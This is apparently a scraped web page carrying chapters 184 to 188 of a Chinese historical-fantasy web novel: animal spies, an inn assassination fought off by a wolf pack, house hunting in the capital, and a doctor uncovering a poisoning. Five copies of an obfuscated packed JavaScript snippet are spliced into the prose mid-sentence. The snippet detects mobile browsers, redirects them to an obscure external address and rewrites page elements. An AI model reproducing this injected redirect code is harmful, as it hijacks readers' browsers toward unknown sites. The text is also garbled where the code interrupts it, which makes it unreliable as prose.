灰鼠七从窗缝钻了进来,蹦蹦跳跳地来到桌前:“主人,楚家老太婆的屋里好东西可真不少!我不但饱餐一顿,还收服了那里所有的老鼠,它们都奉我为王呢!” 萤萤端来一杯水,灰鼠七立刻欢天喜地地伸爪去接。 林芷柔看着它得意忘形的样子,一把夺过水杯:“看来是该给你上一课了。” “主人?”灰鼠七委屈地看着她,尾巴都耷拉下来了。 “你飘了。” “我没有啊。”灰鼠七低头看看自己的脚,一脸困惑,“我明明站得好好的。” 就在这时,一道黑影从房梁上跃下,正是玄猫五。它优雅地落地,转身就是一爪子将灰鼠七按住。 “就收服一个老宅的老鼠也敢自称为王?”玄猫五冷哼一声,眼中闪着幽幽的绿光,“本猫爷都收服了城东一片的猫,也没见得意成你这样。” 说完,它接过林芷柔手中的水,三两下就喝得一滴不剩。 林芷柔看着这一幕,嘴角微微上扬:“魏王府那边可有消息?” “目前只知道魏王是帝都最有实力的王爷。”玄猫五舔了舔爪子,“连皇太子都无法与他抗衡。他手下有一支秘密部队,人数约有三千,全都是精锐。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851785|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具体驻扎在哪里?” “还在查。不过我发现他们经常出入城南的一处庄子。” 林芷柔眼中闪过一丝寒光:“你们两个要尽快打入魏王府,我要掌握他的一举一动。”她的声音很轻,却带着不容置疑的威严,“他是我的敌人,若不先下手,死的就是我。” 玄猫五应了一声就离开了,灰鼠七却犹豫了一下。 “主人,什么是飘了?” “就是狂妄自大,目中无人。”林芷柔看着它,“就像你现在这样。” 灰鼠七低着头想了想:“我有吗?” “你有。”林芷柔毫不客气地说,“你比其他同类聪慧,不过是因为遇到了我。若我重新培养一只年轻的老鼠,说不定比你更厉害。” 灰鼠七听完,尾巴一甩就溜走了,远处隐约传来一句:“我再也不敢自满了!” 这时,黄狗九从门外进来,它的毛发上还沾着露水:“主人,发现有黑衣人在监视。” “司马川的人?” “应该是。他们很谨慎,藏得很好,要不是我鼻子灵,差点就发现不了。” 林芷柔给了它一根鸡腿:“继续盯着。” 黄狗九叼着鸡腿离开后,林芷柔走到窗前。夜风吹动她的衣袖,远处传来更夫打更的声音。 为了安全起见,她将灰羽和墨翎从锦囊里放了出来。两人刚一出现,就被眼前的景象惊呆了。 “这是在帝都?”灰羽瞪大眼睛。 “嘘。”林芷柔做了个噤声的手势,“明早我再送你们回去。现在先休息。” 躺在床上,林芷柔想着太子司马宁现在恐怕已经知道她们进京的消息,但为了避免引起魏王的注意,他一定不敢轻举妄动。 这样也好,至少暂时少一个麻烦。 不过她清楚,这种平静不会持续太久。帝都这潭水,远比她想象的要深得多。 窗外的月光洒在地上,勾勒出一道银白的轮廓。林芷柔闭上眼睛,脑海中浮现出那张阴鸷的面容——魏王,你很快就会知道,得罪我是什么下场。 第一百八十四章 第三次暗杀 夜色深沉,驿站内一片寂静。 油灯在廊檐下微微摇曳,投下斑驳的光影。驿站老旧的木板偶尔发出细微的吱呀声,更添几分诡异。 楚星河靠在床头,目光警惕地扫视着房间的每个角落。他的手指无意识地摩挲着腰间的剑柄,冰凉的触感让他稍稍安心。 自从上次在古道遭遇黑衣人的袭击,他就再没有真正放松过。每一个风吹草动都牵动着他的神经,每一个阴影都可能藏着杀机。 床榻另一侧,楚云浪睡得并不安稳。他眉头紧锁,时不时发出低沉的呓语,似乎梦中也在为眼下的处境担忧。飞火连珠弓的事,让玄冥黑鹰帮颜面尽失,这笔账,对方不会轻易放过。 楚星霆蜷缩在角落的小榻上,月光透过窗棂洒在他稚嫩的脸庞上。他翻了个身,迷迷糊糊地睁开眼:“大哥,你也睡会儿吧。” “你睡你的。”楚星河轻声回应,眼神依旧警惕。他知道,表面的平静不过是暴风雨前的宁静。老爸和弟弟的安全,是他必须扛起的责任。 窗外的夜风突然变得凌厉,树影婆娑间似有暗影闪动。楚星河瞳孔骤缩,一股危险的预感涌上心头。 “咻!” 几枚飞镖破空而至,将廊檐上的油灯尽数打灭。黑暗瞬间吞噬了整个房间,冰冷的杀气扑面而来。 “父亲!小霆!”楚星河低喝一声,同时右手已经按上了剑柄。 楚云浪几乎是在同一时刻惊醒,本能地将楚星霆护在身后。年轻的少年还没反应过来发生了什么,就被父亲粗暴地拉到了身后。 “砰!” 房门被暴力踹开,十几个黑衣人如潮水般涌入。月光下,他们的刀剑泛着森冷的寒光。 “来得好!”楚星河冷笑一声,身形如电,迎着黑衣人冲了上去。他的身法快若闪电,每一个动作都经过精确计算。 剑光如织,楚星河的长剑在空中划出优美的弧线。他的招式看似华丽,实则处处带着杀机。每一剑都直指要害,丝毫不给对手反击的机会。 黑衣人接连倒下,却仍有更多的人从窗外翻入。他们配合默契,显然经过严密的训练。 “父亲,小心!”楚星河一边战斗,一边留意着家人的情况。汗水顺着他的额角滑落,但他的动作丝毫不见迟缓。 楚云浪和楚星霆背靠背站在一起,将来犯之敌尽数击退。虽然楚星霆年纪尚小,但基本功扎实,配合父亲倒也不显手忙脚乱。 “林小七!救命啊!”楚星霆一边挥剑,一边大喊。他知道,只要林小七在附近,一定能听到他的呼救。 隔壁房间的官差们蜷缩在角落,瑟瑟发抖。上次在古道的遭遇让他们明白,这些黑衣人的实力远超他们。即便想要帮忙,也只能成为累赘。 战斗越发激烈,刀光剑影在月色下交织成一片。杀气弥漫整个驿站,连空气都变得凝重起来。 突然,一声狼嚎划破夜空。 “嗷呜!” 这声嚎叫仿佛一记惊雷,震得所有人都愣了一瞬。紧接着,更多的狼嚎此起彼伏,从四面八方传来。 林小七带着它的狐群,如天降神兵般出现在驿站院中。数百双绿幽幽的眼睛在黑暗中闪烁,仿佛点点鬼火,吓得黑衣人们心胆俱裂。 “主人,我来了!”林小七仿佛在用眼神传达。它那双灵动的眼睛里闪烁着智慧的光芒,哪里还有半分野兽的模样。 它一声令下,狐群蜂拥而上。利齿撕咬,爪牙并用,将黑衣人们撕成碎片。凄厉的惨叫声此起彼伏,血腥味很快弥漫开来。 楚星河见状,立即调整战术配合狐群展开反击。他的剑法如行云流水,每一剑都恰到好处。有了狐群的配合,黑衣人们顿时陷入被动。 楚云浪和楚星霆也找到了节奏,三人配合默契,将一个个黑衣人击倒。林小七指挥着狐群,将想要逃跑的黑衣人尽数拦下。 战斗持续了约莫一炷香的时间。等到最后一个黑衣人倒下,地上已经躺了一百多具尸体。血腥的气息弥漫在空气中,让人作呕。 “多亏了林小七。”楚云浪喘着粗气说道。他的衣袍已经被汗水浸透,显然这场战斗消耗了他大量体力。“若不是它带着狐群及时赶到,今晚怕是难以善终了。” 楚星河走到林小七身边,轻轻抚摸它的头:“谢谢你。”简单的两个字,却包含了无尽的感激。 林小七骄傲地昂起头,发出一声得意的低吼。它知道,若是让主人知道自己没有保护好她的家人,肯定会生气的。它环视四周的狐群,眼神中充满了自豪。 楚星霆这才从紧张中缓过神来,他的手还在微微发抖:“大哥,这些黑衣人好像比上次的更厉害。”他低头看了看自己的剑,上面还沾着未干的血迹。 “黑鹰帮是不会善罢甘休的。”楚星河眼神凝重,他仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851786|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 检查着倒下的黑衣人。这些人的装备精良,身手不凡,显然是经过专门训练的死士。 林小七似乎听懂了他们的对话,立即召集狐群,准备护送他们继续赶路。它用鼻子嗅了嗅空气,确认四周没有其他威胁。 楚云浪看着满地的尸体,眉头紧锁:“这些尸体怎么处理?” “让狐群带走吧。”楚星河说道,“否则明天驿站的人发现,又要惹来不必要的麻烦。” 林小七立刻会意,指挥狐群开始清理战场。狐群分工明确,有的叼着尸体往远处拖,有的负责清理血迹。 这一战所有人都明白,接下来的路,只会更加凶险。但有林小七和狐群相助,至少不用担心遭遇暗杀了。 “林小七,你真是太厉害了!”楚星霆紧紧抱住它的脖子,声音因激动而颤抖。方才那一场恶战,若不是这匹狼,他们恐怕已经命丧黄泉。 林小七不屑地打了个喷嚏。它心里暗自嘀咕:救你?我是为了主人罢了,你不过是顺带的。这些日子以来,它早已习惯了这样的追杀,但今晚的对手格外难缠。 楚星河注意到林小七的疲态,它呼吸比往常急促,皮**也被汗水浸透。他解下腰间水囊,轻轻抚摸着它的脖子:“辛苦你了。”说着,他将水囊凑到林小七嘴边。 这水珍贵异常。林小七小心翼翼地抿了一口,随即精神一振。楚星河也仅仅抿了一小口,便将水囊收好。 不远处,楚云浪就地坐在一具尸体上,手里握着儿媳给的灵水。他盯着水囊,目光复杂。这水的神奇之处,他比谁都清楚。平日里他都舍不得喝,只有在今晚这样的恶战之后才会用上一点。 “爹,您也喝点吧。”楚星河递过水囊,语气中带着关切。 楚云浪接过水囊,小心翼翼地喝了一口。他的目光不时瞥向星霆手中的水囊,生怕这个不知轻重的儿子当作普通水胡乱挥霍。 官差们也起来帮助清点战场。廊檐下的灯火忽明忽暗,映照着横七竖八的尸体。地上的积雪被鲜血染红,散发着刺鼻的腥气。 搜出来的刀剑银两,楚家父子都没要,全给了官差们处置。这些黑衣人的来历,不言而喻。除了那个人,谁会大老远派人来追杀他们? 天色微明,驿站里的人开始忙碌。炊烟袅袅升起,混合着早点的香气。官差们因得了意外之财,对楚家父子格外热情,还特意给他们准备了干粮。 第一百八十五章 帝都生活的开始 与此同时,帝都福满楼客栈。 林芷柔从温暖的被窝中醒来,屋里已经空无一人。帝都的冬日实在太冷,被窝里暖和得让人不愿意动弹。她本想多赖会儿床,但想到家人们都不在房里,一下子就清醒了。 匆匆梳洗完毕,她下楼便看到一家人正坐在大堂里。“娘亲!”阳阳眼尖,第一个发现了她。小家伙立刻从椅子上跳下来,一边朝她跑来,一边招呼小二上菜。 顾馨巧拉着儿媳坐下,眼中带着慈爱:“柔柔,我打听过了,城南的房子便宜,咱们就去那边看看吧。” “城南......”林芷柔蹙眉,目光中闪过一丝担忧,“那边治安如何?咱们都是女眷......” 赵氏赶紧说道:“有我在,保护夫人和少爷不成问题。”她拍了拍腰间的佩剑,神情坚定,“再说了,柔柔要是想开医馆,城南的确是个好去处。那边人口密集,又都是普通百姓,最适合行医了。” 楚星澜凑到顾馨巧耳边,压低声音问:“母亲,真的要买房子吗?”她的眼中带着几分忐忑,“我们的银子......” 顾馨巧摸了摸女儿的头,目光温柔地看向林芷柔:“都是你嫂子的功劳。” “嫂嫂最好了!”楚星澜眼里闪着崇拜的光。这段日子以来,她亲眼见证了嫂嫂是如何用医术赚取银两,如何将一个个垂死的病人从阎王手里抢回来。 阳阳立刻不乐意了,小脸鼓得像个包子:“这是我娘亲!你不能抢!” “我是你姑姑,当然可以喜欢你娘亲。”楚星澜捏了捏侄子的脸蛋。 阳阳想了想:“那好吧,分你一点点。”他伸出小手比划着,“就这么一丁点,因为爹说过,娘亲是咱俩的。” 提起儿子,顾馨巧眼圈一红,赶紧低头喝茶掩饰。这些日子,她时常担心远在千里之外的丈夫和儿子们的安危。每当夜深人静,那些不安的念头就会如潮水般涌来。 楚星澜也不由得想起父亲和哥哥们,心里一阵酸楚。她知道,他们此刻正在逃亡的路上,不知道要经历多少艰难险阻。 林芷柔看着儿子天真的模样,轻声纠正:“阳阳,分享不是这么用的。分享是说美食、玩具这些东西。” “哦!”阳阳认真地说,“那我重新说,我最最喜欢的娘亲,分给姑姑一点点,姑姑要好好爱她哦!” 看着侄子可爱的小模样,楚星澜忍不住笑了。这个小家伙,总是能让人心情变好。她伸手揉了揉阳阳的头发:“好,姑姑一定会好好爱你娘亲的。” 赵氏端着热腾腾的包子走来,香气四溢:“快吃吧,一会儿凉了就不好吃了。”她将包子分给众人,“等吃完早饭,我们就去城南看房子。” 林芷柔接过包子,目光落在窗外。晨光中的帝都正在苏醒,街道上已经有了零星的行人。她知道,这里将是他们暂时的栖身之所,直到那个人放弃追杀为止。 顾馨巧看出儿媳的心事,轻声安慰:“别担心,有我们在。”她握住林芷柔的手,“我相信,他们一定会平安回来的。” 林芷柔点点头,强迫自己露出笑容。她不能让家人担心,更不能让阳阳察觉到异样。现在的她,必须坚强。 阳阳已经吃完了包子,正眼巴巴地看着赵氏手里的最后一个:“阿奶,我还想吃......” 赵氏笑着将包子递给他:“就知道你这个小馋猫还想吃。”她转向林芷柔,“柔柔,你的包子还没动呢。” 林芷柔这才回过神来,咬了一口已经有些凉了的包子。她知道,接下来的日子不会太平,但只要一家人在一起,就没什么好怕的。 窗外,朝阳渐渐升起,驱散了帝都的阴霾。街道上的行人越来越多,叫卖声此起彼伏。这座古老的城市,正在迎接新的一天。 “姑姑,这边脸还没亲呢。”阳阳仰着小脸,一副理直气壮的模样,圆润的小脸蛋上还带着些许婴儿肥,眼睛亮晶晶的,像是夜空中最闪耀的星星。 顾馨巧原本因想到儿子的事情有些黯然,眼底泛着一丝难以察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852981|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉的忧虑,此刻也被逗得忍俊不禁。她伸手轻轻捏了捏阳阳的小脸,柔声道:“好好好,这边也亲一下。” 赵氏坐在一旁,看着这温馨的一幕,眼角的皱纹都舒展开了。她抬手抹了抹眼角,笑着说:“我的乖孙真是讨人喜欢。”说着,又忍不住从怀里掏出一块糖果,“来,阿奶给你准备的。” 阳阳眼睛一亮,小手已经迫不及待地伸了过去,但又突然想起什么似的缩了回来,转头看向顾馨巧:“祖母,我可以吃吗?” 这一声询问让顾馨巧心头一暖,她摸了摸阳阳的头:“当然可以,不过要记得说什么?” “谢谢阿奶!”阳阳接过糖果,奶声奶气地道谢,那模样惹得屋里众人又是一阵轻笑。 楚星澜站在一旁,看着这温馨的场景,眼底闪过一丝复杂。她想起自己的童年,那时候也有人这样疼爱过她吗?记忆中似乎只有无尽的寒冷和孤独。 “星澜,”顾馨巧察觉到她的异样,轻声唤道,“来帮我抱一下阳阳。” 楚星澜连忙上前,小心翼翼地接过孩子。阳阳似乎特别喜欢她,立刻搂住了她的脖子,在她脸上“吧唧”亲了一口:“姑姑香香的!” 这突如其来的亲昵让楚星澜愣了一下,随即露出了一个温柔的笑容。她轻轻摇晃着怀中的孩子,心中那些阴霾仿佛也随之散去了几分。 用过早饭,一行人准备出门。林芷柔早已备好马车,就等着载他们去城南看房子。她今日穿了一身靛青色的男装,头发高高束起,远远望去,真像个俊朗的少年郎。 “柔柔,”顾馨巧看着她利落的打扮,忍不住叮嘱道,“出门在外要多加小心。” 林芷柔笑着应了,又回头看了看马车上的布帘:“姨娘,您坐稳了吗?” 赵氏从帘子后探出头来:“放心吧,我们都坐好了。”她看着林芷柔的背影,心中感慨万千。当初选择跟随夫人去云州,果然是个明智的决定。要不是有夫人和柔柔相助,她们母女的日子只怕会更加难过。 第一百八十六章 找房 城南的街道比想象中要窄,马车难以快速通行。林芷柔索性下车牵马而行,一边走一边打量着街边的店铺。据说这边最大的牙行是个姓刘的老板开的,叫温五陈,不知道好找不好找。 “小兄弟!等等!” 身后突然传来呼喊声,林芷柔起初并未在意。这帝都人生地不熟的,谁会认识她? “真的是你!”一个中年男子气喘吁吁地跑到她面前,“我是梨园县的沈明啊!当年多亏你买下我那些布料,让我躲过了一劫。没想到能在帝都遇见你!” 林芷柔这才想起来,眼前这人确实是梨园县的布店老板。那时她路过梨园县,见他愁眉不展,她用五十两银子把他店里的所有布料都收入囊中。虽说那些布料确实物美价廉,但更多的是想帮他一把。 “沈老板,真是缘分。”林芷柔抱拳相谢,眼中带着几分笑意。 沈明连忙拉住她的手:“小兄弟你可是我的救命恩人啊!那会儿我遇上了仇家,要是晚走一天,我恐怕就...”说着,声音哽咽起来。 “沈老板言重了。”林芷柔轻声道,目光扫过街边的店铺,“我今日是来找房子的,听说城南有个温五陈的牙行...” “那是我小舅子!”沈明眼睛一亮,仿佛抓住了报恩的机会,“我这就带你去。” 一路闲聊,很快到了温氏牙行。店里伙计认得沈明,忙不迭地行礼。等林芷柔让车上众人下来时,沈明这才发现“小兄弟”竟是位女子。更让他惊喜的是,林芷柔还是个大夫。 “太好了!”沈明一拍大腿,激动得语无伦次,“我丈母娘病了两个多月,帝都大夫都看遍了也不见好。不知道你可否...” “自然可以。”林芷柔微笑道,目光温和,“是先看房子,还是先去给老夫人看病?” “那就先去看病吧!”沈明转身去通知小舅子。 顾馨巧见状,将阳阳抱在怀里,轻声道:“你放心去,我们在这里等你。” 看着儿媳妇远去的背影,顾馨巧心中暗暗祈祷。初来帝都就遇到这样的机缘,或许这就是他们家好运的开始吧。她低头看着怀中的阳阳,孩子已经靠在她肩头睡着了,小脸红扑扑的,睫毛随着呼吸轻轻颤动。 赵氏走到她身边,轻声说:“夫人,您别站着了,我让伙计搬张椅子来。” 顾馨巧点点头,目光却始终没有离开阳阳的小脸。这孩子,和她的儿子小时候长得真像啊。想到这里,她眼底又泛起一丝水光,却又很快被她压了下去。 楚星澜站在一旁,默默地观察着四周的环境。这温氏牙行的门面不小,装潢也算得上气派,想来在城南也是有些名气的。她注意到门口的对联已经有些褪色,想必开了有些年头了。 沈明领着一个身材高大的男子走了过来。 那人面色沉郁,眼神锐利,一身靛青色长衫衬得他气质不凡。他迈着沉稳的步子,举手投足间透着几分商人特有的精明干练。 林芷柔抬眼打量,这位想必就是温五陈了。她注意到他走路时微微偏左,似是下意识避让着什么。 三十出头的年纪,眼神炯炯有神,眉宇间却隐隐透着一丝倦意。他也在打量林芷柔,目光从她年轻的面容一路扫过,眼底闪过明显的失望。 林芷柔不以为意,继续观察着他。忽然,她轻轻“嘶”了一声,眉头微蹙。 “怎么了?”沈明连忙问道,脸上写满关切。 林芷柔环顾四周,见院中只有几个忙着收拾摊子的伙计,这才压低声音对温五陈说:“温老板,你左下腹经常隐隐作痛吧?尤其是在行房之后,疼痛会加剧。” 这话一出,温五陈瞳孔猛地一缩,脸色瞬间变得苍白。他下意识后退半步,右手不自觉地按在左下腹。 这个秘密他从未对任何人提起过,就连枕边人都不知晓。半年前实在疼得受不了,他才偷偷去济世堂找费掌柜看过一次。 “你...你去过济世堂?”温五陈声音有些发颤,目光中带着几分惊疑不定。 “济世堂是什么地方?”林芷柔一脸茫然地看向沈明,眼神清澈见底。 “一家药堂,在城南。”沈明解释道,“费掌柜的医术在城里也算得上数一数二。” 林芷柔淡然一笑:“没去过。”她随手摘下路边的一片草叶,在指尖把玩,“不过温老板的症状很明显,只要稍加观察就能看出来。” 温五陈陷入沉思。这位年轻大夫既然没去过济世堂,却能一眼看出他的病症,医术定然不凡。想到此处,他态度立刻恭敬起来:“家母身体抱恙多时,帝都大夫看遍也不见好转。若是大夫能治好家母的病,在下感激不尽。” “治病救人是我分内之事。”林芷柔神色平静,目光落在远处的一片梧桐树上,“对了,我打算在城南开一家医馆,还需要寻一处铺面。” “那敢情好!”沈明眼前一亮,搓着手道,“以后咱们就是邻居了。小兄弟,不知道贵姓?” “姓林,您叫我林大夫就行。”林芷柔说着,从袖中取出一个小瓷瓶,递给温五陈,“这是活血化瘀的药丸,每日睡前服用一粒,能缓解你的症状。” 温五陈接过瓷瓶,掂了掂分量,心中更是惊讶。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852982|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排好顾馨巧等人,便带着林芷柔往自家赶去。 温府坐落在城东靠近城南的富人区,是一座气派的三进大宅。朱漆大门上的铜环被擦得锃亮,门槛处的石狮子威风凛凛。 进门是一个宽敞的前院,两侧种着几株高大的银杏,金黄的叶子随风飘落。穿过游廊,又是一个四四方方的中院,假山水榭,颇有些园林的意趣。 来到后院正屋,浓郁的药味扑面而来。林芷柔眉头微皱,她闻出其中夹杂着一股异样的气味。 屋内昏暗,窗户紧闭,一股刺鼻的熏香味道让人头晕目眩。床榻上躺着一位老妇人,面色蜡黄,呼吸急促。 “把熏香撤了吧。”林芷柔沉声说道,“病人不宜闻这种刺激性的香味。” “这可是大姑奶奶从宫里求来的名贵熏香。”守在床边的嬷嬷面露难色,“老夫人最喜欢了,说闻着这个才能安心。” 林芷柔不等她说完,快步上前端起茶盏,将水倒入香炉。 “嗤”的一声,一股难闻的气味弥漫开来。林芷柔仔细嗅了嗅,脸色骤变。 嬷嬷脸色大变,一个踉跄坐在地上:“这...这怎么可能?大姑奶奶她...她怎么能...” 床上的老夫人早已醒来,听到这话,心头剧震。她想起大女儿要将外孙过继到温家被自己拒绝的事,不禁泪流满面。 “老夫人,您这病是**所致。”林芷柔取出玉针,在老夫人心窝下扎了一针,“这熏香里掺了**,日积月累,才让您病得如此沉重。” “老夫人的病不难治,就是得吃点苦头。需要放血逼毒,您可怕疼?” “不怕,大夫尽管施治。”老夫人声音颤抖,眼中含泪,“我这条命,就交给你了。” 门外,温五陈听完嬷嬷的话,面如土色:“大姐...她为什么要这样做?” 沈明也是一脸震惊,没想到这其中竟有如此隐情。他看着林芷柔娴熟地施针,心中暗暗称奇。 林芷柔一边施针,一边观察老夫人的反应。她注意到老夫人左手无名指有一道浅浅的疤痕,眼神微动。 “老夫人年轻时可曾习武?”她突然问道。 老夫人微微一怔:“确实略通拳脚,只是年纪大了,早就荒废了。” “难怪。”林芷柔点点头,“您体内真气未散,反倒帮您抵挡了部分毒性。否则,怕是早就...” 她话未说完,突然察觉到一丝异样。抬头望去,只见窗外一道黑影一闪而过。 林芷柔眼神一凛,手中玉针微微颤动。她知道,这件事恐怕没那么简单。 第一百八十七章 解毒 嬷嬷的身影消失在门外,林芷柔让她去取酒盏。房内的空气仿佛凝固了一般,只剩下老夫人微弱的呼吸声。 林芷柔站在床前,目光落在老夫人枯瘦的面容上。昔日富态的脸庞如今凹陷下去,眼窝深陷,皮肤泛着不正常的灰白色。她伸手搭上老夫人的脉搏,眉头不自觉地皱起。 这位老人家的病情并不复杂,但手段却极其歹毒。那熏香中的毒素虽然剂量不大,却足以让一个年迈体弱的老人日渐消瘦,最终不得不卧床不起。若是再拖延几日,怕是连最后一口气都要断了。 沈明扶着摇摇欲坠的温五陈,看着对方苍白的脸色,心中五味杂陈。他抿了抿干涩的嘴唇,想说些什么,却又不知从何说起。 作为一个外人,他实在不便多说什么。虽然他的妻子挂着温家的名,但终究不是亲生的。只是这些年来,温五陈待他们如亲人,让他不忍见到这般局面。 “大姐......”温五陈瘫坐在地上,双手无力地垂在身侧,泪水不断从他通红的眼眶中涌出,“就因为母亲不肯让她的儿子过继到温家,她就......” 他说不下去了,喉咙像是被什么东西堵住了一般。那是痛苦,是愤怒,更是难以置信的绝望。 沈明蹲下身,轻轻拍着小舅子的肩膀。他能感受到掌下身躯的颤抖,那是无法抑制的悲痛。“别太难过,这不是遇到林大夫了吗?” 温五陈猛地抬头,眼中闪过一丝希望的光芒:“姐夫,你说这位林大夫真能治娘的病?” “这位林大夫可不简单。”沈明压低声音,目光不自觉地瞥向正在查看老夫人情况的林芷柔,“说来你可能不信,她其实是个姑娘。” “女子?”温五陈惊得差点跳起来,随即又压低声音,“怎么可能?她穿着男装,举止言谈也......” “我也是今日才知晓。”沈明叹了口气,“但她的医术确实了得,连太医院的太医都对她赞不绝口。” 林芷柔从怀中取出一粒药丸,趁着嬷嬷不在,让老夫人服下。这是她用仙露泉炼制的补血丸,本是为产妇准备,今日却派上了意想不到的用场。 药丸入口即化,一股暖流顺着喉咙流入腹中。 老夫人只觉得昏沉的脑袋渐渐清明,连呼吸都顺畅了许多。她微微睁开眼,目光落在林芷柔身上,眼中带着几分感激。 “老夫人,接下来要放血,会有些疼。”林芷柔一边准备玉针,一边轻声解释,手上的动作却丝毫不停,“我会用银针守护您的心脉,您放心。” “不怕疼......”老夫人微弱地说道,声音中带着几分哽咽。 她闭上眼睛,泪水无声滑落。这一生,她最疼爱的就是这个大女儿。从小娇养,长大后又风光嫁人。如今丈夫做了四品官,更是光耀门楣。 可谁能想到,就因为一个过继的事,她竟然对自己痛下毒手。想到这里,她心如刀绞,却又不愿相信这是事实。 温五陈跪在床前,急切地说道:“娘,您一定要好起来。林大夫医术高明,连我的病都一眼看出来了。” “你的问题并不难治。”林芷柔头也不回地说道,手中的玉针在灯光下闪烁着冷冽的光芒,“小时候的疝气没有根治,才留下了病根。三次针灸,配合药物,便可痊愈。” 老夫人激动地想要坐起来:“真的吗?我儿小时候确实......” “老夫人别动。”林芷柔按住她的肩膀,语气温和却不容置疑,“我们先治您的病。” 嬷嬷端着酒盏进来,脸上带着几分疑惑。她不明白为何要用酒盏,但也不敢多问。 林芷柔开始施针。玉针刺入穴位的瞬间,一道血线喷射而出,落入酒盏中的血液竟是漆黑如墨。 沈明和温五陈看得目瞪口呆,心中的怒火越烧越旺。若不是遇到林大夫,母亲怕是要被活活毒死。而凶手,竟是自己的亲姐姐。 林芷柔专注地看着血液的颜色,心中已有计较。这毒虽然阴损,但只要及时发现,倒也不难解。只是这般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865635|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手段,实在令人心寒。 房间里的气氛越发凝重,连空气中都弥漫着一股说不清道不明的压抑。嬷嬷站在一旁,眼神闪烁,似乎想说什么却又不敢开口。 “这毒......”林芷柔轻声开口,打破了沉默,“应该是从半月前开始下的。起初剂量很小,渐渐加重。若不是今日发现,再过三日,怕是......” 她没有说完,但在场的人都明白她的意思。 温五陈的身子晃了晃,若不是沈明扶着,怕是要摔倒在地。他的脸色比床上的老夫人还要苍白,嘴唇颤抖着说不出话来。 老夫人却出奇地平静,只是那双浑浊的眼睛里,泪水不断地往外涌。她张了张嘴,想说什么,却又咽了回去。 林芷柔继续施针,每一针都精准地落在穴位上。随着黑血的流出,老夫人的脸上渐渐有了些血色。 “老夫人,您先休息片刻。”林芷柔收起玉针,从药箱中取出几包药粉,“这是解毒的药,需要连服七日。另外......” 她顿了顿,目光扫过在场的每一个人:“这熏香要立即停用,房间也需要彻底清理。” 嬷嬷的脸色突然变得惨白,身子不受控制地颤抖起来。她跪在地上,声音带着哭腔:“老奴......老奴只是听命行事......” 这句话如同一记惊雷,在场所有人都愣住了。 温五陈猛地站起来,踉跄着走到嬷嬷面前:“你说什么?是谁?是谁让你这么做的?” 嬷嬷将头深深地埋下,不敢看任何人:“是......是大奶奶......” 房间里瞬间安静得可怕,只有老夫人的啜泣声在回荡。 林芷柔手指轻轻按在老夫人的手腕上,一丝不易察觉的微笑浮现在她清秀的脸庞。 她叮嘱道:“这两日要多吃些补血的食物,红豆汤、猪肝汤都可以。记住要少食多餐,清淡为主。”她顿了顿,又补充道,“若是觉得头晕,就躺下休息,不要强撑。” 第一百八十八章 温家人看到了希望 老夫人眼中闪着感激的光芒,枯瘦的手紧紧握住林芷柔的手:“多谢林大夫,老身感觉舒服多了。”她转头看向一旁的儿子,目光中带着几分期待,“能否也替我这不孝子看看?这孩子为了照顾我,把自己的病都耽误了。” 林芷柔点头,目光落在温五陈身上。他约莫三十出头的年纪,面色蜡黄,眼下一片青黑,明显是操劳过度的症状。 “需要针灸左腹部,三天一次,做三次即可。”她说着,已经开始准备玉针。 